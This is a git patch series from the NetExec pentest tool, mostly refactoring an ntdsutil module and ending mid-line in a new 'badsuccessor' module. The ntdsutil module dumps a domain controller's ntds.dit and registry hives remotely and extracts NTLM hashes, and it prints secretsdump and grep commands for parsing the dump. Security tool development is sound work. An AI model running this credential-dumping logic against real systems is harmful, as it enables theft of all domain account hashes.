+ if self.user_specified_dir: self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True + else: + timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") + self.dir_result = os.path.join( + os.environ["HOME"], ".nxc", "logs", "ntds", f"ntdsutil_{timestamp}" + ) + self.no_delete = True def on_admin_login(self, context, connection): + def get_hostname(connection): + # try smb nb server name first + try: + if hasattr(connection, "conn") and hasattr(connection.conn, "getServerName"): + return connection.conn.getServerName() + except Exception: + pass + # fallback to reverse dns + try: + return socket.gethostbyaddr(connection.host)[0] + except Exception: + return "unknown_host" + + ip = "unknown_ip" + hostname = "unknown_host" + if hasattr(connection, "host") and connection.host: + ip = connection.host + hostname = get_hostname(connection) + command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\"" - context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}") + context.log.display( + f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}" + ) context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") context.log.debug(f"Executing command {command}") p = connection.execute(command, True) @@ -57,6 +83,22 @@ class NXCModule: os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) + # use hostname and ip in log paths + dir_result_with_host = os.path.join( + os.environ["HOME"], + ".nxc", + "logs", + "ntds", + f"ntdsutil_{hostname}_{ip}_{time.strftime('%Y-%m-%d_%H-%M-%S')}", + ) + + if not self.user_specified_dir: + # override dir_result to include hostname and ip + self.dir_result = dir_result_with_host + os.makedirs(self.dir_result, exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) + context.log.display(f"Copying NTDS dump to {self.dir_result}") context.log.debug("Copy ntds.dit to host") @@ -162,17 +204,56 @@ class NXCModule: try: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() - context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database") - - context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") + context.log.success( + f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database" + ) except Exception as e: context.log.fail(e) NTDS.finish() - if self.no_delete: + if self.user_specified_dir: context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:") - context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL") + context.log.display( + f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL" + ) + context.log.display("To extract only enabled accounts from the output file, run the following command: ") + context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") else: - shutil.rmtree(self.dir_result) + base_dir = os.path.join(os.environ["HOME"], ".nxc", "logs", "ntds") + + system_path = os.path.join(self.dir_result, "registry", "SYSTEM") + security_path = os.path.join(self.dir_result, "registry", "SECURITY") + ntds_path = os.path.join(self.dir_result, "Active Directory", "ntds.dit") + + timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") + output_file = os.path.join(base_dir, f"{hostname}_{ip}_{timestamp}.ntds") + + command = [ + "impacket-secretsdump", + "-system", + system_path, + "-security", + security_path, + "-ntds", + ntds_path, + "local", + "-just-dc-ntlm", + "-user-status", + ] + + context.log.display(f"Running impacket-secretsdump, output will be saved to {output_file}") + with open(output_file, "w") as outfile: + subprocess.run(command, stdout=outfile, stderr=subprocess.STDOUT) + + # clean impacket-secretsdump output: remove first 7 lines and last line + with open(output_file, "r") as f: + lines = f.readlines() + + if len(lines) > 8: + cleaned_lines = lines[7:-1] + with open(output_file, "w") as f: + f.writelines(cleaned_lines) + + context.log.success(f"impacket-secretsdump output saved to {output_file}") + From 770cb6ab7e23f96f24776b256e8fbbd8a924130d Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Thu, 15 May 2025 21:26:26 +0300 Subject: [PATCH 37/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 5df5b409..01e08cf2 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -217,8 +217,6 @@ class NXCModule: context.log.display( f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL" ) - context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") else: base_dir = os.path.join(os.environ["HOME"], ".nxc", "logs", "ntds") @@ -256,4 +254,6 @@ class NXCModule: f.writelines(cleaned_lines) context.log.success(f"impacket-secretsdump output saved to {output_file}") + context.log.display("To extract only enabled accounts from the output file, run the following command: ") + context.log.display(f"grep -iv disabled {output_file} | cut -d ':' -f1") From 2cf004db4f1ec66a25d65939ec90d4202f96b1f7 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 15 May 2025 23:13:00 +0200 Subject: [PATCH 38/83] fix review --- nxc/helpers/misc.py | 14 +++++--------- nxc/protocols/smb.py | 4 ++-- 2 files changed, 7 insertions(+), 11 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 5e31357a..676cadd7 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -4,6 +4,7 @@ import re import inspect import os +from ipaddress import ip_address def identify_target_file(target_file): with open(target_file) as target_file_handle: @@ -78,14 +79,9 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): if _access_check(name, mode): return name -def detect_ip_or_fqdn(input_string): - # Regex for matching IP address (both IPv4 and IPv6) - ip_pattern = re.compile(r"^(\d{1,3}\.){3}\d{1,3}$") # Simple IPv4 pattern - fqdn_pattern = re.compile(r"^[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") # Simple FQDN pattern - - if ip_pattern.match(input_string): +def detect_if_ip(target): + try: + ip_address(target) return True - elif fqdn_pattern.match(input_string): - return False - else: + except Exception as e: return False \ No newline at end of file diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d949a57f..feacf165 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -56,7 +56,7 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command -from nxc.helpers.misc import detect_ip_or_fqdn +from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution from dploot.triage.vaults import VaultsTriage @@ -236,7 +236,7 @@ class smb(connection): self.targetDomain = self.hostname else: try: - if self.is_host_dc() and detect_ip_or_fqdn(self.host): + if self.is_host_dc() and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it From ee945fa9b4c25279ea667a6b55de7561b59bb235 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 15 May 2025 23:13:23 +0200 Subject: [PATCH 39/83] fix review --- nxc/helpers/misc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 676cadd7..454132a6 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -83,5 +83,5 @@ def detect_if_ip(target): try: ip_address(target) return True - except Exception as e: + except Exception: return False \ No newline at end of file From f3da3dad009c3e9eec43fde6cdd49590d6029db0 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 15 May 2025 23:19:29 +0200 Subject: [PATCH 40/83] avoid changing login logic --- nxc/protocols/ldap.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 73e80e40..17c50b0d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -416,8 +416,6 @@ class ldap(connection): def plaintext_login(self, domain, username, password): if username == "" and password == "" and self.no_ntlm: self.scope = ldapasn1_impacket.Scope("baseObject") - self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") - return True self.username = username self.password = password From 7e0476d50befc8e9c726c2bf0d72874c657ee4bd Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Sun, 18 May 2025 20:39:22 +0300 Subject: [PATCH 41/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 32 ++++++++++---------------------- 1 file changed, 10 insertions(+), 22 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 01e08cf2..2486b606 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -3,6 +3,7 @@ import socket import time import subprocess +from nxc.paths import NXC_PATH from impacket.examples.secretsdump import LocalOperations, NTDSHashes from nxc.helpers.logger import highlight @@ -39,10 +40,7 @@ class NXCModule: self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True else: - timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") - self.dir_result = os.path.join( - os.environ["HOME"], ".nxc", "logs", "ntds", f"ntdsutil_{timestamp}" - ) + self.dir_result = None self.no_delete = True def on_admin_login(self, context, connection): @@ -66,9 +64,7 @@ class NXCModule: hostname = get_hostname(connection) command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\"" - context.log.display( - f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}" - ) + context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}") context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") context.log.debug(f"Executing command {command}") p = connection.execute(command, True) @@ -79,25 +75,19 @@ class NXCModule: context.log.fail("Error while dumping NTDS") return - os.makedirs(self.dir_result, exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) - # use hostname and ip in log paths - dir_result_with_host = os.path.join( - os.environ["HOME"], - ".nxc", - "logs", - "ntds", - f"ntdsutil_{hostname}_{ip}_{time.strftime('%Y-%m-%d_%H-%M-%S')}", - ) + dir_result_with_host = os.path.join(NXC_PATH, "logs", "ntds", f"ntdsutil_{hostname}_{ip}_{time.strftime('%Y-%m-%d_%H-%M-%S')}") if not self.user_specified_dir: - # override dir_result to include hostname and ip self.dir_result = dir_result_with_host os.makedirs(self.dir_result, exist_ok=True) os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) + else: + # if user specified dir_result, create dirs here if needed + os.makedirs(self.dir_result, exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) context.log.display(f"Copying NTDS dump to {self.dir_result}") @@ -214,9 +204,7 @@ class NXCModule: if self.user_specified_dir: context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:") - context.log.display( - f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL" - ) + context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL") else: base_dir = os.path.join(os.environ["HOME"], ".nxc", "logs", "ntds") From 11458b07f0226fdca13e6402ec86b810aff72919 Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Mon, 19 May 2025 00:26:02 +0300 Subject: [PATCH 42/83] ruff fix all --- nxc/modules/ntdsutil.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 2486b606..e9875829 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -233,7 +233,7 @@ class NXCModule: subprocess.run(command, stdout=outfile, stderr=subprocess.STDOUT) # clean impacket-secretsdump output: remove first 7 lines and last line - with open(output_file, "r") as f: + with open(output_file) as f: lines = f.readlines() if len(lines) > 8: From c3c4edbe4e3e160bbcf1153f152fc0872be1f8da Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Mon, 19 May 2025 00:37:02 +0300 Subject: [PATCH 43/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index e9875829..e6ad692c 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -194,9 +194,7 @@ class NXCModule: try: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() - context.log.success( - f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database" - ) + context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database) except Exception as e: context.log.fail(e) From 137f70a84cf83465b22f66c6c498d0641c694a6a Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Mon, 19 May 2025 00:37:43 +0300 Subject: [PATCH 44/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index e6ad692c..0a1a4a99 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -194,7 +194,7 @@ class NXCModule: try: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() - context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database) + context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database") except Exception as e: context.log.fail(e) From ac80cc2a73ffc308c12f58ec793c5dc4e004a1bf Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Tue, 20 May 2025 01:19:01 +0200 Subject: [PATCH 45/83] Update PULL_REQUEST_TEMPLATE.md Signed-off-by: Alex <61382599+NeffIsBack@users.noreply.github.com> --- .github/PULL_REQUEST_TEMPLATE.md | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 6289c4a1..87b04fb3 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,24 +1,20 @@ ## Description Please include a summary of the change and which issue is fixed, or what the enhancement does. -Please also include relevant motivation and context. List any dependencies that are required for this change. ## Type of change -Please delete options that are not relevant. - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) - [ ] This change requires a documentation update - [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc) -## How Has This Been Tested? -Please describe the tests that you ran to verify your changes (e2e, single commands, etc) -Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions - -If you are using poetry, you can easily run tests via: -`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD` -There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset +## Setup guide for the review +Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions. +In particular: +- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer. +- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed? ## Screenshots (if appropriate): Screenshots are always nice to have and can give a visual representation of the change. @@ -29,8 +25,7 @@ If appropriate include before and after screenshot(s) to show which results are - [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can) - [ ] I have added or updated the tests/e2e_commands.txt file if necessary - [ ] New and existing e2e tests pass locally with my changes -- [ ] My code follows the style guidelines of this project (should be covered by Ruff above) -- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects +- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects - [ ] I have performed a self-review of my own code - [ ] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki) From e18e69e5633c377d34904fdd5e0eda063171a6f4 Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Tue, 20 May 2025 07:26:07 +0300 Subject: [PATCH 46/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 105 +++++++++------------------------------- 1 file changed, 24 insertions(+), 81 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 0a1a4a99..6d8de262 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -1,9 +1,9 @@ import os -import socket +import shutil +import tempfile import time -import subprocess - from nxc.paths import NXC_PATH + from impacket.examples.secretsdump import LocalOperations, NTDSHashes from nxc.helpers.logger import highlight @@ -14,6 +14,7 @@ class NXCModule: """ Dump NTDS with ntdsutil Module by @zblurx + """ name = "ntdsutil" @@ -27,42 +28,20 @@ class NXCModule: Dump NTDS with ntdsutil Module by @zblurx - DIR_RESULT Local dir to write ntds dump. + DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing """ self.share = "ADMIN$" self.tmp_dir = "C:\\Windows\\Temp\\" self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1] self.dump_location = str(time.time())[:9] + self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False - self.user_specified_dir = "DIR_RESULT" in module_options - if self.user_specified_dir: + if "DIR_RESULT" in module_options: self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True - else: - self.dir_result = None - self.no_delete = True def on_admin_login(self, context, connection): - def get_hostname(connection): - # try smb nb server name first - try: - if hasattr(connection, "conn") and hasattr(connection.conn, "getServerName"): - return connection.conn.getServerName() - except Exception: - pass - # fallback to reverse dns - try: - return socket.gethostbyaddr(connection.host)[0] - except Exception: - return "unknown_host" - - ip = "unknown_ip" - hostname = "unknown_host" - if hasattr(connection, "host") and connection.host: - ip = connection.host - hostname = get_hostname(connection) - command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\"" context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}") context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") @@ -75,19 +54,9 @@ class NXCModule: context.log.fail("Error while dumping NTDS") return - # use hostname and ip in log paths - dir_result_with_host = os.path.join(NXC_PATH, "logs", "ntds", f"ntdsutil_{hostname}_{ip}_{time.strftime('%Y-%m-%d_%H-%M-%S')}") - - if not self.user_specified_dir: - self.dir_result = dir_result_with_host - os.makedirs(self.dir_result, exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) - else: - # if user specified dir_result, create dirs here if needed - os.makedirs(self.dir_result, exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) - os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) + os.makedirs(self.dir_result, exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) context.log.display(f"Copying NTDS dump to {self.dir_result}") @@ -174,6 +143,15 @@ class NXCModule: add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 + if not connection.output_filename: + timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") + hostname = connection.hostname + ip = connection.host + filename = f"{hostname}_{ip}_{timestamp}.ntds" + output_dir = os.path.join(NXC_PATH, "logs", "ntds") + os.makedirs(output_dir, exist_ok=True) + connection.output_filename = os.path.join(output_dir, filename).rstrip(".ntds") + NTDS = NTDSHashes( f"{self.dir_result}/Active Directory/ntds.dit", boot_key, @@ -195,51 +173,16 @@ class NXCModule: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database") + + context.log.display("To extract only enabled accounts from the output file, run the following command: ") + context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") except Exception as e: context.log.fail(e) NTDS.finish() - if self.user_specified_dir: + if self.no_delete: context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:") context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL") else: - base_dir = os.path.join(os.environ["HOME"], ".nxc", "logs", "ntds") - - system_path = os.path.join(self.dir_result, "registry", "SYSTEM") - security_path = os.path.join(self.dir_result, "registry", "SECURITY") - ntds_path = os.path.join(self.dir_result, "Active Directory", "ntds.dit") - - timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") - output_file = os.path.join(base_dir, f"{hostname}_{ip}_{timestamp}.ntds") - - command = [ - "impacket-secretsdump", - "-system", - system_path, - "-security", - security_path, - "-ntds", - ntds_path, - "local", - "-just-dc-ntlm", - "-user-status", - ] - - context.log.display(f"Running impacket-secretsdump, output will be saved to {output_file}") - with open(output_file, "w") as outfile: - subprocess.run(command, stdout=outfile, stderr=subprocess.STDOUT) - - # clean impacket-secretsdump output: remove first 7 lines and last line - with open(output_file) as f: - lines = f.readlines() - - if len(lines) > 8: - cleaned_lines = lines[7:-1] - with open(output_file, "w") as f: - f.writelines(cleaned_lines) - - context.log.success(f"impacket-secretsdump output saved to {output_file}") - context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display(f"grep -iv disabled {output_file} | cut -d ':' -f1") - + shutil.rmtree(self.dir_result) From a9e182770f1a715642a3a8e6526e1b5ba04cb325 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 21 May 2025 14:47:14 +0200 Subject: [PATCH 47/83] update code --- nxc/protocols/ldap.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 17c50b0d..e3a8e937 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -414,8 +414,6 @@ class ldap(connection): return False def plaintext_login(self, domain, username, password): - if username == "" and password == "" and self.no_ntlm: - self.scope = ldapasn1_impacket.Scope("baseObject") self.username = username self.password = password @@ -646,7 +644,12 @@ class ldap(connection): self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() else: - self.logger.fail(e) + # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail + if self.username == "" and self.password == "": + self.scope = ldapasn1_impacket.Scope("baseObject") + return self.search(searchFilter, attributes, sizeLimit, baseDN) + else: + self.logger.fail(e) return [] return [] From 41b60eb3fc61061044557e0ba29adbe75b163616 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 22 May 2025 16:41:36 -0400 Subject: [PATCH 48/83] Restrict swapping the scope to when we have an operationsError and scope is None (didn't try with scope=baseObject) --- nxc/protocols/ldap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e3a8e937..bf2d1c16 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -639,17 +639,17 @@ class ldap(connection): searchControls=paged_search_control, ) except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find("sizeLimitExceeded") >= 0: + if "sizeLimitExceeded" in str(e): # We should never reach this code as we use paged search now self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() - else: + elif "operationsError" in str(e) and self.scope is None: # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail if self.username == "" and self.password == "": self.scope = ldapasn1_impacket.Scope("baseObject") return self.search(searchFilter, attributes, sizeLimit, baseDN) - else: - self.logger.fail(e) + else: + self.logger.fail(e) return [] return [] From 3f38b5fc8c0a3fb6bab1d9c9d67ca6add5b59edb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 22 May 2025 16:43:27 -0400 Subject: [PATCH 49/83] Merge both if statements --- nxc/protocols/ldap.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index bf2d1c16..c04c1aa8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -643,11 +643,10 @@ class ldap(connection): # We should never reach this code as we use paged search now self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() - elif "operationsError" in str(e) and self.scope is None: - # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail - if self.username == "" and self.password == "": - self.scope = ldapasn1_impacket.Scope("baseObject") - return self.search(searchFilter, attributes, sizeLimit, baseDN) + # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail + elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "": + self.scope = ldapasn1_impacket.Scope("baseObject") + return self.search(searchFilter, attributes, sizeLimit, baseDN) else: self.logger.fail(e) return [] From abf9b34ad0b2ed8c7fad0987ace4b2a47ac58b78 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 22 May 2025 17:57:26 -0400 Subject: [PATCH 50/83] Make use of the filename template in the smb protocol --- nxc/modules/ntdsutil.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 6d8de262..1aa8d8b9 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -143,14 +143,7 @@ class NXCModule: add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 - if not connection.output_filename: - timestamp = time.strftime("%Y-%m-%d_%H-%M-%S") - hostname = connection.hostname - ip = connection.host - filename = f"{hostname}_{ip}_{timestamp}.ntds" - output_dir = os.path.join(NXC_PATH, "logs", "ntds") - os.makedirs(output_dir, exist_ok=True) - connection.output_filename = os.path.join(output_dir, filename).rstrip(".ntds") + connection.output_filename = connection.output_file_template.format(output_folder="ntds") NTDS = NTDSHashes( f"{self.dir_result}/Active Directory/ntds.dit", From 073abc9652634353bfd30e28b6ecab3b63a14e4e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 22 May 2025 17:58:25 -0400 Subject: [PATCH 51/83] Remove unused import --- nxc/modules/ntdsutil.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 1aa8d8b9..8d101c79 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -2,7 +2,6 @@ import os import shutil import tempfile import time -from nxc.paths import NXC_PATH from impacket.examples.secretsdump import LocalOperations, NTDSHashes From 057872cc15161ab4c377ae98ae1013916d8799d5 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 23 May 2025 17:13:10 +0200 Subject: [PATCH 52/83] add exam --- nxc/modules/badsuccessor.py | 202 ++++++++++++++++++++++++++++++++++++ 1 file changed, 202 insertions(+) create mode 100644 nxc/modules/badsuccessor.py diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py new file mode 100644 index 00000000..91762a28 --- /dev/null +++ b/nxc/modules/badsuccessor.py @@ -0,0 +1,202 @@ +from impacket.ldap import ldaptypes +from nxc.parsers.ldap_results import parse_result_attributes +from ldap3.protocol.microsoft import security_descriptor_control + +RELEVANT_OBJECT_TYPES = { + '00000000-0000-0000-0000-000000000000': 'All Objects', + '0feb936f-47b3-49f2-9386-1dedc2c23765': 'msDS-DelegatedManagedServiceAccount', +} + +EXCLUDED_SIDS_SUFFIXES = ['-512', '-519'] # Domain Admins, Enterprise Admins +EXCLUDED_SIDS = 